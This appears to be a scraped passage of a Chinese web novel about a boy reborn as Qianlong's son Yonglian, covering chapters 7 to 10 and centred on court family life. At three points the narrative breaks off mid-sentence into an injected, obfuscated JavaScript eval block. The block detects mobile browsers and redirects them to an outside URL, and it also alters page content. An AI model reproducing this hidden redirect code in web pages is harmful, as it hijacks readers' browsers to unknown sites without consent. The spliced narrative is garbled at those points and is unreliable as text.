他不敢说,给个眼神皇兄自己体会吧。 乾隆:“……” 他们兄弟之所以一直没什么嫌隙,就是因为弘昼这小子没那么多弯弯绕绕,想什么就说什么。 但有时候气人也是真气人。 乾隆瞪了眼弟弟,深吸一口气,不跟傻子计较。 他想起叫弘昼来的目的,“过两个月,汗阿玛的灵柩就要移到泰陵了,趁着现在离得近,你再去祭奠几次,有什么心里话也可以和汗阿玛说说。” 虽然汗阿玛的回应五弟听不到,但让汗阿玛多看看五弟也好。 弘昼:“???” “我没什么说的,汗阿玛应该挺放心我的。”弘昼道。 他有两位额娘护着,皇兄也待他不错,家里跟福晋感情也好。虽然没什么大作为,但确实不用汗阿玛怎么操心。 乾隆心说汗阿玛把老五交给自己,确实应该放心。 他想了想又道:“那就带上六弟,念在他年纪小,平时月祭都没让他去。他没有尽孝的机会,却不能忘了孝心。” 弘曕是先帝最小的儿子,今年才四岁,一直住在圆明园。大家也叫他圆明园阿哥。 因他实在太小了,很多祭礼都没让他参加。 但乾隆猜测汗阿玛肯定惦念小儿子,让弘曕去梓宫前磕个头也好。 这点弘昼倒是赞同,“是该让那小子去,免得他以后把汗阿玛忘了。” 先帝去世的时候,小弘曕才两岁多,在丧礼上也懵懵懂懂的,后来回到圆明园听说更是整天撒了欢到处玩儿,没有半点伤心难过。 “哦对,还有十三叔家的弘晓,汗阿玛最放心不下他。” 他说着忍不住撇了撇嘴,汗阿玛把弘晓当亲儿子一样,又是赏赐银两,又是亲自请师父,连怡王府的管事都是汗阿玛亲自挑选,对六弟弘曕都没这么上心。 弘昼倒不觉得什么,因为弘晈、弘晓经常进宫玩儿,他和这两个堂弟关系都不错,有什么事儿除了自家兄弟,头一个就想到他们。尤其弘晓,年纪小,又聪明伶俐,从小就乖乖跟在他后面喊“哥哥”。 弘昼待他就像亲弟弟一样。 “让永琏跟你们一起去。”乾隆又道。 “永琏上回不是去过了吗?”弘昼皱眉,“那孩子身体不大好,大热天的,就别折腾他了吧。” “那你们就挑个凉快点儿的日子去,永琏跟她皇玛法感情深,想多去磕几个头。”乾隆道。 “那您下次去祭奠的时候再带上他不就得了?”弘昼感觉这个安排有点奇怪,但具体又说不上来。 “下次朕也会带上他的,但他惦记着皇玛法,就想这几天去。”乾隆斜一眼弘昼,“带上永琏怎么了?推三阻四的。” “带永琏就要带永璜。”弘昼道。 乾隆:“带带带,但祭奠完就赶紧回来,别在路上玩儿。” 弘昼答应着,四个小萝卜头,要么是汗阿玛的心尖尖,要么是皇兄的宝贝蛋,他可不敢带他们去外面玩儿,万一有个闪失,他活着没法和皇兄交代,死了也怕汗阿玛揍他。 晚上,乾隆就和永琏说,过两日让他随弘昼去雍和宫祭奠。 “汗阿玛不去,就你五叔带你们去。”乾隆道:“你不能在那里和皇玛法的魂魄说话,但是可以听听你皇玛法说什么。” 永琏:“???” 乾隆见儿子疑惑的歪歪脑袋,就解释道:“你皇玛法让朕照顾他们,但朕日理万机,难免有疏忽的时候,就想让你去听听,看看朕还有什么要改进的地方,你皇玛法还有什么嘱咐。” 永琏:“……” 真的是这样吗?那你怎么不亲自去问? 乾隆拍拍儿子肩膀,“尤其是你怡王叔,你皇玛法生前最看重他,把他托付给朕,朕怕他有什么委屈不敢和朕说,有什么要求也不好来麻烦朕。或许,他会跟你皇玛法的梓宫说。” 永琏:“那万一他们什么都没说呢?” “没说就没说,你是去给皇玛法磕头的。”乾隆温声哄儿子。 从雍和宫回来他就在琢磨,既然汗阿玛的魂魄无法离开安放梓宫的房间,他又是如何知道朝堂之事的? 当然有可能是汗阿玛死后的神通,毕竟汗阿玛佛道双修,会些神通不奇怪。 但有没有可能,是有人去祭奠时,告诉汗阿玛的呢? 官员们平时不得随意去祭奠,履亲王允裪、諴亲王允祕还有和亲王弘昼负责雍和宫事务,是可以随意进出雍和宫的,在梓宫前说话也方便。 但十二叔对汗阿玛的新政本就不太赞许,要不是他会办丧礼,汗阿玛对他并不重视。他是不会跑去跟汗阿玛多嘴的。 二十四叔连书都读不明白,对朝上的事儿一无所知。 弘昼是个大嘴巴,他就算不是故意的,也有可能去汗阿玛灵前发牢骚。 再有一个人,就是弘晓。 因为弘晓是汗阿玛看着长大的,汗阿玛驾崩,就属他哭的痛。自己也允许他时常到雍和宫祭奠。 弘晓虽然才十五岁,却很聪明,他知道自己撤销的很多新政,都是当年汗阿玛和他阿玛十三叔一起推行的。 尤其官绅一体当差纳粮和清缴国库欠款,十三叔出了不少力。 自己一登基,先把官绅一体当差纳粮的政令废了,又抹了许多官员的亏空。 自己要是弘晓,心里也不高兴。 到汗阿玛灵前发几句牢骚是很正常的。 乾隆一边在心里表示理解,一边想听听那小子到底怎么说的,更想知道汗阿玛是什么反应。 至于让弘曕去,就单纯是想让汗阿玛放心,他这个当兄长的还算合格,不会亏待了幼弟。 “儿子记住了。”永琏道,自己就是个小工具人,去当监控的。 乾隆还是不怎么放心,又反复交代几次,不能在旁人面前表现出异样。 永琏乖乖点着小脑袋。 “小永琏长大了,要学着给汗阿玛分忧咯。你是汗阿玛最孝顺的宝贝。”乾隆揉揉儿子小胖脸。 永琏感觉自己被cpu了,他有证据。 父子俩在西配殿单独说话,乾隆交代完任务,就搂着儿子教他念《论语》。 过了两日,礼部选好弘昼他们可以去祭奠的日子,弘昼就带着四个小萝卜头出发了。 因为弘曕年纪最小,一路上都是弘昼亲自带着。 永璜、永琏坐一辆马车,怡亲王弘晓直接从怡王府到雍和宫。 上回祭奠弘晓也在,永琏见过,是个很文弱的小少年,白净清秀。 弘曕小叔他却是头一回见,小家伙长得很是机灵可爱,睁着一双大眼睛好奇的打量永璜、永琏。 弘昼笑道:“这是你的两个小侄子,你又忘了?” 弘曕茫然。 “皇兄家的两位小阿哥。”弘昼说着推推弘曕,“去和两个小侄子玩儿。” 永璜、永琏就主动拉住小弘曕,一口一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几人磕完头,弘昼就道:“你们还有什么要和先帝说的吗?这会儿都是自家人,有什么心里话就尽管说。” 他说完看向梓宫方向,“汗阿玛,儿子就不说了,我最会照顾自己,您不用操心。” 雍正:“那确实,就是不顶用。你要是有你十三叔一半的才能……哎,还是算了。” 自己信任十三弟,那是几十年的兄弟情。而且两人都上了年纪,知道国事为重。 若弘昼能力卓绝,弘历未必能毫无芥蒂的重用他。 弘昼平庸一点也好。 弘曕完全在状况外,只惦记着要找嬷嬷,没有要和汗阿玛说的。 弘晓则又跪到蒲团上,“皇伯父,弘晓已经学会写诗了,下回把我写的诗捎给您看。” “好孩子,甘珠尔,好好跟着林师父念书。” 雍正一看弘晓,就想起十三弟,不由哽咽起来。 弘晓又说了些自己学习诗书的事儿,还说自己想收藏一些小说话本。 永琏记得这位怡王叔是乾隆时期著名的藏书家,他家还有《红楼梦》呢。 以后可以借来看看…… 弘晓一边哭一边说,倒是说了不少,一句关于朝堂上的事儿都没提,最后说了说皇上对他的照拂。 弘昼不乐意了,“怎么不说我,我也很照顾你的好吧。” 弘晓破涕为笑,又赶紧提了提经常关心他的“和王兄”。 旁边小弘曕等得不耐烦,又开始哼唧,众人才要离开。 永琏最后又给皇玛法磕了个头,“您放心吧,永琏会照顾好叔叔们的。” 弘昼、弘晓他们听见了,眼中都带了笑意。 小侄子真好,有他这句话,他们就满足了。 永琏从蒲团上爬起来,小跑到弘曕身边,拉起他的手,“六叔,我们去找嬷嬷喽。” “小侄子,你真好。我要带你去圆明园玩儿!”小侄子对自己说话温温柔柔的,弘曕一下就放松下来。 “好耶,下回我和哥哥一起去,六叔要拿出你的玩具招待我们!” “好!” 雍正:不愧是他的乖孙孙,比弘历那小子懂事,弘历现在当了皇帝,也疑神疑鬼的,还好自己当初没让弘晓接触朝堂之事,更没打算培养他辅佐弘历。 他对自己和十三弟推行的那些事也是一知半解,更不会像弘历以为的那样,跑到自己灵前告状。 十三弟一辈子如履薄冰,宵衣旰食,成就虽高,委屈也不少,他儿子就当个吟诗作画的富贵闲人吧。 8. 第八章 晚上见了乾隆,永琏就把白天在雍和宫的所见所闻讲了。 乾隆听说弘晓只提诗文,不说朝政,汗阿玛也没有在他面前抱怨自己,松了口气。 但听说六弟懵懂,还在汗阿玛灵前失仪,不由蹙眉。 “都是那些奴才没有好好引导。”乾隆嘀咕,他像弘曕这么大的时候,都开蒙了,弘曕却还离不开嬷嬷。 去年十月,弘曕身边的太监王自立来宫里给太后请安,没见他这个皇上就直接回圆明园去了。 后来还是太后和他说起,王自立来过,还说出弘曕给“汗阿哥”请安。 “汗阿哥”这是个什么称呼?要让大臣们听见了,又要说皇家没规矩。 而且当时小弘曕才多大?连话都说不清呢,哪儿知道什么请安。还不都是身边奴才教的。 他当时就很生气,训斥并重罚了王自立。 现在看来,那些奴才还是没能好好引导弘曕。 永琏记得历史上的六阿哥弘曕长歪了,其中一个原因就是小时候无人管束,乾隆又对这个幼弟太纵容。 等他犯了大错再训斥,不如从小好好引导。 永琏就说:“六叔一个人在圆明园好孤单,让他来宫里住吧,和我们一起玩儿。” “他年纪还小,跟你们玩不到一起。”乾隆说着拍拍儿子的小脑袋,“再说你过段时间就要入尚书房了,还惦记玩儿。” 永琏:“唔……那我们教六叔读书,不对,要先教他说话,他说话不太清楚呢。” 乾隆闻言,不由皱眉,自己三岁的时候都会背一两首诗了,永璜、永琏三岁也都能完整表达自己的意思。 看来弘曕那小子资质不太行啊! “六叔每次见我和大哥都不认识我们。”永琏瘪瘪嘴,再加把火。 先帝驾崩前,弘曕和永璜、永琏经常见面,但那时候弘曕太小,记不住正常,先帝驾崩后,弘曕在圆明园,他们则在宫里守孝,这一年来,仨小孩见面的机会确实不多。 不仅仨小孩见面的机会不多,弘曕见自己这位皇兄的次数一只手都能数得过来。 他会不会把自己这个皇兄也忘了? 圣祖爷儿子多,小的几个出生时,年长的都已出宫开府。 像汗阿玛和允祎、允祁等几个弟弟就不太熟,这几人对汗阿玛也只有对圣主的恭敬,没有对兄长的亲近。 他可不想和弘曕变成这样。 弘曕的额娘谦妃刘氏如今在宁寿宫住着,乾隆就琢磨着要不让弘曕回宫住宁寿宫里。 可是,太后、太妃这些老人家都娇惯孩子,他又怕弘曕到了宁寿宫被带得更加骄纵。 可又不能交给后妃们带。 乾隆就和皇后商量,“把六弟接回宁寿宫住,让他亲额娘照顾,你也多去瞧瞧,若发现太后太妃们娇惯他,及时跟朕说。” 皇后心说皇上每日都去宁寿宫请安,弘曕有什么问题,他定然不会忽视。自己不用太费心。 于是答应下来,又道:“太后太妃们从前不怎么见弘曕,见了面难免娇惯一些,要真让弘曕住宁寿宫,她们定会尽心照看。而且皇额娘最会教导孩子,爷是英明圣主,五叔也心性淳善。” 乾隆一想也是,额娘说不定又能带出一个五弟。 而且弘曕到了宫里,还能多和永璜、永琏接触,近朱者赤近墨者黑,跟着两个小侄子学,慢慢的就懂事了。 宁寿宫的太后太妃们听说弘曕要来住,都高兴的不行。 她们平日无聊,就喜欢逗小孩。偏偏永璜、永琏大了,不能经常叫来说话逗趣。 弘曕来的可太及时了。 谦妃刘氏更是对皇上感恩戴德,虽然自己还没得多少先帝眷顾,先帝就驾崩了。但当今圣上是个仁孝之主,她竟如此幸运,能亲自抚养儿子。 谦妃都已经在期待儿子长大,自己出宫养老的美好生活了。 永璜、永琏得知六叔真的能来宫里住也很高兴。已经商量起要带六叔到哪儿玩了。 然而俩小少年还没盼来弘曕,先等到了汗阿玛给他们安排的师父。 武师父策楞,教数学的师父是庄亲王允禄,教汉文的师父陈德华,现在就差一个教满文的师父。 在乾隆看来,教满文的师父最要紧。 精通四书五经的满人并不多,背后又不能牵扯太复杂的政治势力。 最重要的一点,乾隆不希望这人是先帝旧臣。 支持先帝新政的那些人,多少对自己这位新帝都有几分不满,表面不说,心里肯定也颇有微词。 像鄂尔泰、张廷玉这两家的子弟,就都不在考虑范围内。 “可惜你的兄长都没怎么读书,否则朕肯定从他们中间选。”说起给儿子们找师父的事儿,乾隆就和皇后道。 皇后有些惭愧:“是兄长们才疏学浅,辜负了皇上的信任。” “别这么说,当不了满文师父,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乾隆见了他,突然想起来,他儿子阿桂今年考中秀才,自己给他家一个荫生名额,直接让阿桂进了大理寺。 阿桂从小受阿克敦影响,是读圣贤书长大的,又是满人,用满文讲四书五经应该没什么难的。 乾隆当即决定召见阿桂,看看这小子的学问人品。 9. 第九章 乾隆对阿桂的第一印象并不算太好。 阿桂今年才十九岁,长得倒是周正,学问也没的说,面对乾隆,更是一万个恭敬。 但说不上为什么,乾隆总觉得阿桂这小子的恭敬是装的。 听说自己想让他给两位皇子教满文,阿桂立刻跪下叩头谢恩,“奴才阿桂年幼才浅,能得陛下眷顾,入大理寺做官已是不敢想的福气,不敢想主子爷皇恩浩荡,竟让奴才阿桂给两位皇子教书,奴才阿桂惶恐感激,一定尽心教导两位皇子……” 乾隆:“……” 这卑微谄媚的样子,像极了得赏的李玉。 乾隆正琢磨要不再挑挑别人,外面人通传,“二阿哥求见。” 是乾隆叫永琏来的,他本打算召见完阿桂,带永琏去挑些字画古玩,给他布置书房。 谁承想考校阿桂的时间长了点儿,这人学问好,谢恩的话更是不要钱一样。乾隆一方面欣赏阿桂的才学,一方面又觉这人瞧着没有读书人的清正风骨,便有些犹豫不决。 既然是要给永璜、永琏请师父,不如让永琏见见阿桂,孩子若是喜欢,就先用着。 他于是让永琏进来。 永琏进屋后先乖乖给汗阿玛请安,目光就不自觉被跪在地上的清俊少年吸引。 看穿着,这人品阶不高,汗阿玛为何亲自单独召见他。 “永琏,这是大理寺丞阿桂。”乾隆介绍道。 “阿桂!”永琏一双眼睛睁得溜圆。 “奴才阿桂给二阿哥请安。”阿桂忙朝永琏行礼。 乾隆见儿子眼睛亮晶晶的打量阿桂,有些疑惑,“你听说过他?” 永琏心说那必须的,这可是大佬啊! 平准平回都有他,乾隆晚期的首席大军机,跟和珅分庭抗礼。 在永琏印象里,阿桂就是乾隆朝的一块砖,哪里需要哪里搬。 “我听皇玛法说过。”永琏道,那必须吹一波阿桂。 “哦?你皇玛法怎么说的?”乾隆挑眉,汗阿玛在位时,阿桂还没入仕,汗阿玛跟永琏提他做什么? “皇玛法说,阿克敦对儿子阿桂管教极严,阿桂读书已经够刻苦了,还是经常被他父亲教训。”永琏说着笑眯眯看自家汗阿玛,“皇玛法说,咱们皇家的阿玛不必像阿克敦一样,小朋友在这样严苛的教育下,反而不喜欢读书了。” 乾隆:“……” 阿桂听得差点噗嗤一声笑出来,这小阿哥也太逗了! 瞄一眼皇上脸色,赶紧调整表情。 “家父对奴才管束虽严,却是一片苦心,只希望奴才能早日入朝为朝廷效力,为皇上分忧。万岁爷对小主子更是一片慈父心肠,希望小主子读书明理不假,但又难免心疼小主子太过用功累坏了身子。” 乾隆不由颔首,这话是说到他心坎儿上了。他和那些只知道要求儿子上进的阿玛不一样,他更希望儿子健康快乐。 永琏也点着小脑袋,跑到汗阿玛身边,仰着小脸道:“我也这么和皇玛法说的,汗阿玛最心疼永琏了,一边想让永琏快点读书,一边又担心儿子看坏眼睛。” 乾隆揉揉崽脑袋,哼道:“你知道就好。” 阿桂:“……” 好一幅父慈子孝的画面,阿桂不知别人家,反正他和他爹是不会这样的。 皇上宠爱二阿哥,果然名不虚传。 这很有点当初圣祖爷宠爱废太子的样子,阿桂虽然没见过,但听人议论过。当年圣祖爷对废太子格外关心,废太子出痘,都是圣祖爷亲自照顾。 巧的是,那位废太子也排行老二。 圣祖朝的立储问题影响深远,到现在朝中还有不少人对先帝圈禁兄弟的事儿颇有微词。 这对朝廷在士大夫百姓们心中的威信十分不利。 再来一次,朝局恐怕不稳。 若他能有幸教导两位小阿哥,一定不会让当初的悲剧重演。 可万岁爷怎么到现在都不提让自己做师父的事儿了?阿桂心里有点打鼓,是自己刚才表现不好吗? 正在他自我怀疑时,就听二阿哥问:“汗阿玛召见阿桂,应是有正事要说,儿子先去外面等候吧。” “不必,朕召见阿桂,正是为了给你和你大哥选满文师父。”乾隆朝阿桂抬抬下巴,“你觉得他如何?” 永琏:!!! 永琏惊喜的睁圆眼睛,“好耶好耶!” “奴才阿桂有幸得二阿哥赏识。惶恐万分,感激不尽。”阿桂不等乾隆反应,立刻道,又给乾隆磕头,“奴才阿桂一定不辜负皇上厚爱。” 永琏就哒哒哒跑过去扶他,“桂师父别多礼,该我和大哥向您行礼才是。” 乾隆:“……” 不是,你们师徒俩有必要这么急切吗? 这个阿桂,大概是看出自己犹豫,听永琏同意,就赶紧叩头谢恩。 这小子,果然有几分滑头。 不过看在永琏跟他有眼缘的份上,暂且忍了。 乾隆又勉励叮嘱了阿桂几句,就让他退下。 “你很喜欢阿桂?”乾隆见儿子一脸兴奋就问。 永琏点头,“他一看就很聪明,家学又好,还很会说话,应该是位好老师。” 乾隆微愣,自家永琏小小年纪,看人倒是挺准,“但这人言辞之间有几分谄媚,没有读书人的清正端方。这点你要小心,别被他哄骗了。” 永琏答应着,刚才阿桂叩谢天恩时确实挺夸张,他还以为满臣都这样。 父子俩聊了几句阿桂,永琏又蹭了两块养心殿的糕点,才一同去挑字画。 永琏知道自家汗阿玛是此中行家,就都听汗阿玛的。 汗阿玛觉得哪些好,他就跟着说喜欢。 但他记得乾隆喜欢花里胡哨的瓷器,这点他就不太能接受了。 没想到乾隆选的几件瓷器,都是小清新的纯色,和先帝审美一致。 “这个雨过天青色的花瓶摆在窗旁的高几上,到了秋天,里面插几枝桂花,一定好看。”乾隆道。 永琏点头,笑眯眯道:“屋子里还能香香的。汗阿玛您眼光可太好了,您选的我都好喜欢!在您布置的书房里,我都能多读好几页书。” 乾隆捏捏儿子小脸,“今儿小嘴怎么这么甜?” 永琏心说那不是希望您保持住这样的审美吗? 乾隆现在的审美还没往农家乐大花袄审美上发展,一是因为登基不久,宫里很多瓷器还是先帝朝烧制的,二也是因为,先帝孝期未过,不能花里胡哨。 但乾隆心里其实已经在琢磨了,先帝朝瓷器太雅致,凸显不出皇家富贵,也没什么吉祥的寓意。 那么多漂亮的花纹图样,不印在瓷器上,不是可惜了? 过几年他就让内务府烧制一些颜色鲜亮,寓意吉祥的瓷器,摆在屋里那才叫皇家气派。 但是永琏身为太子,还是要培养他朴素的品格,这些纯色的瓷器摆在他书房正合适。 乾隆给永琏挑完东西,就想打发他回长春宫去。永琏却道:“汗阿玛还没帮大哥挑选。” 乾隆:“……”这兄弟俩感情真好,但他手头还有折子没看完,又想着永璜几个月前就搬到阿哥所了,屋子已经布置过,就说:“朕瞧着他书房挺好的,添不添东西无所谓。” “那就添吧。”永琏仰着小胖脸看阿玛,“儿子来给大哥选好不好?” 乾隆无奈,“行行行,你帮他挑。”小家伙刚看自己挑选,跃跃欲试也正常。 “好哦好哦!”永琏兴奋。 然后乾隆就见儿子迈着小短腿在库房里走了一圈,挑出两个他很喜欢的瓷瓶和一套玛瑙盘子。 乾隆:“……行,行吧。” 永琏见汗阿玛笑容勉强,就乖巧问:“是永琏选的不好看吗?” 乾隆:“……这瓷瓶太大,摆在你大哥书房显得拥挤,还是朕来挑。” —— 永琏选好东西,就兴冲冲跑去阿哥所找哥哥。 永璜知道汗阿玛今天带弟弟去挑布置书房的东西了,他小小羡慕了一下,但自己的书房之前已经布置过,虽说当时汗阿玛没有亲自帮他挑选字画瓷器,或许那时候汗阿玛忙,就给忘了。 他就好奇问弟弟,“汗阿玛给你选了哪些字画瓷器?” “我记不太清了,就记得有一幅董其昌的画,一幅倪瓒的,一幅皇玛法写的字还有是一些珐琅彩的花瓶盘子,对了!还有一驾银丝编的小马车,特别精致。”永琏道:“我想给大哥也选一些东西装点书房,汗阿玛嫌我选的不好看,”小家伙说着皱皱鼻子,“他亲自给你挑了几样,有一个粉彩描金花卉纹的茶盘,可好看了!” 永璜闻言,有些惊喜,眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486987|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自觉弯起来。 果然,自己搬到阿哥所那会儿,汗阿玛就是太忙了。只要他空闲下来,还是关照自己的。 很快,内务府的人就把东西送了过来,永琏的书房还没打扫好,暂时不需要把东西摆出来。 他就在永璜书房,看大哥布置房间,时不时提一点小建议。 待永璜收拾好书房,兄弟俩一同回长春宫, 在宫门处遇见了来请安的傅恒。 原身的记忆里,经常见傅恒这个小舅舅。小舅舅还陪他玩儿过捉迷藏。 但永琏穿来后是头一回见傅恒。 今天一下见了两位乾隆朝的首席大军机,小家伙很开心。 傅恒今年十四,眉目端正,斯文却不瘦弱。 他见了永琏,眼中不自觉带了笑意。 行过礼后,永琏就凑过去和傅恒说话,说他前几天摔了一跤。 皇后笑道,“都半个多月前的事儿了。” “那小舅舅还不知道嘛,”永琏鼓鼓脸颊 皇后无奈,“这孩子最近越来越会撒娇。又像个小孩儿了。” “二阿哥本就是小孩,老气横秋的反倒不好。”傅恒道,在姐姐面前,他说话便放松几分。 “小舅舅说的对!”永琏道:“小舅舅也是小孩儿。我们一起玩儿吧!” 皇后在儿子脑袋上揉了一把,“就知道玩儿,你小舅舅请过安,还要回去读书呢。” 几人闲聊几句,傅恒就要去给皇上姐夫请安,本来是该先去见姐夫的,但刚乾隆带永琏去库房了,他便先到长春宫来。 乾隆是看着傅恒长大的,见了他也没那么多礼数,问了问他最近读书骑射的情况,听傅恒说最近骑射稍有进益,乾隆就命人准备弓箭,要亲自检查傅恒的射箭水平。 傅恒六射五中,是比上回乾隆检查时进步了。 乾隆又亲自示范,还让御前侍卫们也都来比试比试。 今日当值的御前侍卫中就有乾隆给儿子选的武师父钮祜禄策楞。 策楞比乾隆稍长几岁,身材高大,能拉十力的弓,六射全中。 乾隆就顺便跟傅恒说起自己给永璜、永琏选的师父们,傅恒自然说皇上慧眼识人,为两位阿哥爷挑选的定然是最好的师父。 “师父们都已定下,该给俩孩子选伴读了。”乾隆道,钮祜禄家倒是有几个孩子合适,但已经有策楞这个钮祜禄家的师父了,伴读就不能从他们家里选。 张廷玉、鄂尔泰家的子弟,以及和他们走得近的那些官员子弟,乾隆都不想选。 傅恒见姐夫蹙眉沉吟,显然心中还没有人选,就道;“奴才斗胆推荐一人。” “谁?”乾隆挑眉。 “我四哥傅文的儿子,叫明瑞,跟二阿哥同龄。”傅恒道。 乾隆闻言,睨他一眼,“你倒是举贤不避亲。” 傅恒记得方才姐姐和他说的,皇上有意让二阿哥和富察家的人亲近,但他年龄不上不下,做师父不够格,做伴读年龄又偏大。 他就想着,可以从下一辈里选。 可举荐自家人,多少有些风险,小少年眼中有几分忐忑,又弱弱补充了一句,“明瑞那孩子很是乖巧懂事,四哥已经教他读完《论语》了。” 乾隆见小舅子一脸小心翼翼的,不由笑起来,拍拍他肩膀,“其实朕早想到他了,上回见过一次,小孩儿长得清秀,也很规矩懂事,明日你带他进宫来,朕再瞧瞧,若是真如你所言,便让他给永琏当伴读吧。” 傅恒赶紧跪下替侄子谢恩,“奴才替明瑞,叩谢皇上隆恩。” 乾隆扶他起来,心说还是小舅子谢恩听着舒服。阿桂太夸张了。 “明瑞可是你举荐的,那孩子以后若有哪里不好,朕拿你试问。”乾隆又敲打傅恒几句,“你这个当叔叔的,平日少不得要多教导他一些。” 傅恒郑重应了,明瑞若是有什么差池,自己就要承担责任。可他对自己这个小侄子还是很有信心的。 给永琏选好伴读,永璜的伴读就不用考虑那么多,挑个老实本分的就好。 乾隆在御前侍卫里扫了一圈,目光落在董鄂永常身上,“永常,朕记得你儿子额尔登额今年有十岁了?” “回皇上,犬子今年正是十岁。”永常立刻出列道。 “明儿你也把他带进来让朕瞧瞧。” 10. 第十章 一般皇家给小阿哥们选伴读,都尽量选比小阿哥大一两岁的。 明瑞的年纪稍小了点儿,但架不住乾隆觉得富察家的小孩靠谱。 这里不单单是他对皇后娘家人的偏爱,从理性角度上想,明瑞是永琏的小表哥,他对永琏肯定是一万个忠心。 绝对不用担心明瑞不尽心,或是带坏了永琏。 晚上,他就和皇后说了这事儿。 皇后听说自家弟弟真就举贤不避亲,有点无奈,不过明瑞那小孩确实乖巧。 李荣保孩子多,其中傅文、富察皇后和傅恒是一母同胞。 乾隆登基后,就让傅文承袭了李荣保的爵位,也让他做了三等侍卫。 但傅文身体不是太好,能力也平平。要说哪里让乾隆印象深刻,那就是傅文长得十分俊美……当然,和他一母同胞的皇后、傅恒也都容貌出众。 傅文之妻长得也不赖,明瑞那小孩又汲取爹娘优点生的。 乾隆只记得上回见那孩子的时候,小明瑞跟观音身边的小仙童一样,他还忍不住抱了抱。 “明瑞那孩子别的先不说,家世和长相和咱们永琏就挺配。”乾隆道。 皇后:“……”皇上这话听着怎么像给自家永琏挑媳妇似的。 乾隆说完也觉得这话听着奇怪,他反应过来后自己都不禁哈哈大笑,拍拍妻子手臂,“明瑞若是个女孩儿,还真能考虑考虑……对了,你四哥家好像有个女儿来着。” “万岁爷,永琏才六岁,您现在想这些也太早了。”皇后无奈嗔了乾隆一眼。 话音未落,永琏带着三格格跑进来,兄妹俩刚才在后面玩儿七巧板。 三格格拿拼好的七巧板给阿玛额娘看。 “我们三格格真是心灵手巧。”乾隆笑着夸女儿。 永琏早就想说了,“妹妹为什么没有名字?”他早就想问了,汗阿玛和皇额娘也叫她三格格或者三丫头。 他虽然知道妹妹后来的封号,但那是要等公主出嫁才能有的。出嫁前就连名字都没有,好可怜。 乾隆和皇后对视一眼,平时三丫头三丫头叫惯了,还真没想过给女儿取名的事儿。 清初时,满蒙女子大多是有名字的,到康熙朝,很多妃嫔也都有名字。 但公主出嫁前按序齿称呼,出嫁后有封号。宫里渐渐地就不给公主取名了。 三格格有点奇怪的歪歪脑袋,二哥是傻了吗?“我叫三格格呀!” “三格格不是你的名字。”永琏揉揉傻妹妹头顶,“宗室家排行老三的格格也可以叫三格格,你和她们在一起就分不清啦!” “谁说分不清?我们三格格身份最尊贵。”乾隆不高兴地道。 “可称呼上也不好体现呀!”永琏拉住乾隆衣袖,“汗阿玛,给三妹取个名字吧!” 皇后见万岁爷嘴角下撇,就对永琏道:“你妹妹出嫁时就会有封号,那就是她以后的名字。” “那出嫁前呢?”永琏无辜脸。 乾隆:“……”他在儿子脑袋顶上拍了下,“这事儿不用你操心,你妹妹又不是刚出生,这都五岁了,取什么名字。” 永琏小声嘀咕:“妹妹都五岁了,还没有名字,好可怜。” 三格格本来不觉得有什么,听二哥说自己可怜,也耷拉下小脑袋。 大哥、二哥一生下来就有名字,自己却要到出嫁才能有名字。虽然小丫头还不知道出嫁是什么意思。 乾隆哼了声,端起茶盏,慢悠悠喝茶,不理俩小孩。 永琏撒娇无果,只好松开阿玛的衣袖。 “天色不早,你俩该回屋睡觉了。”皇后说着起身,一手牵一个交到门口的乳母嬷嬷手里。 安顿好一对儿女,皇后回到内殿,乾隆还在那坐着,桌上的茶盏已经空了。 她就亲自执壶,给皇上添茶。 “永琏小孩子心性,想起一出是一出,但他心是好的,疼爱妹妹才会有此疑问。”皇后试图替儿子说话。 乾隆:“‘钮伦’怎么样?” 皇后愣了下才反应过来,合着万岁爷一脸严肃的坐这儿半天是在给女儿想名字。 钮伦是满语的“彩虹”的意思,“这个名字好,我们三格格以后一定像彩虹一样绚烂美丽。” 乾隆矜持地点点头。 永琏第二天起的有点早,想着昨天汗阿玛不太高兴,他就跑到前殿,哄哄汗阿玛。 汗阿玛生他的气没事儿,可不能生妹妹的气呀! 结果乾隆起的更早,已经和皇后用完早膳,穿戴整齐,准备去上早朝。 乾隆在儿子脸颊上捏捏,“用完早膳抓紧看会儿书,下午要来个小伙伴和你一起玩儿。” “谁呀?”永琏好奇。 乾隆见小家伙一听“玩”,眼睛就亮了。故意卖关子,“来了你就知道了。”说完就大步离开。 永琏又看额娘,皇后道:“是你四舅家的小堂弟。” 原身对这个小堂弟没什么印象,永琏就没当回事,是个小朋友就行。 皇后又告诉他,“你汗阿玛给你三妹妹取了名字,叫‘钮伦’。” 永琏睁大眼睛,“汗阿玛取的?” 他不是不想让妹妹有名字吗?昨晚还推三阻四的。 皇后颔首,“是啊,这可是你汗阿玛精挑细选的名字。”虽然并不是这么回事。 果然,儿子一听就高兴的跳起来,一双眼睛笑成了小月牙,“汗阿玛真好!汗阿玛是最好的阿玛!” 永琏说着就往后跑,要去告诉妹妹这个好消息。 三格格刚睡醒,就听外面二哥大呼小叫的,“三妹妹,钮伦,汗阿玛给你取得名字叫钮伦!” 三格格:“!!!” 小丫头瞬间清醒,头发还没梳好就跑出去,“真的吗?钮伦是彩虹的意思对不对?” 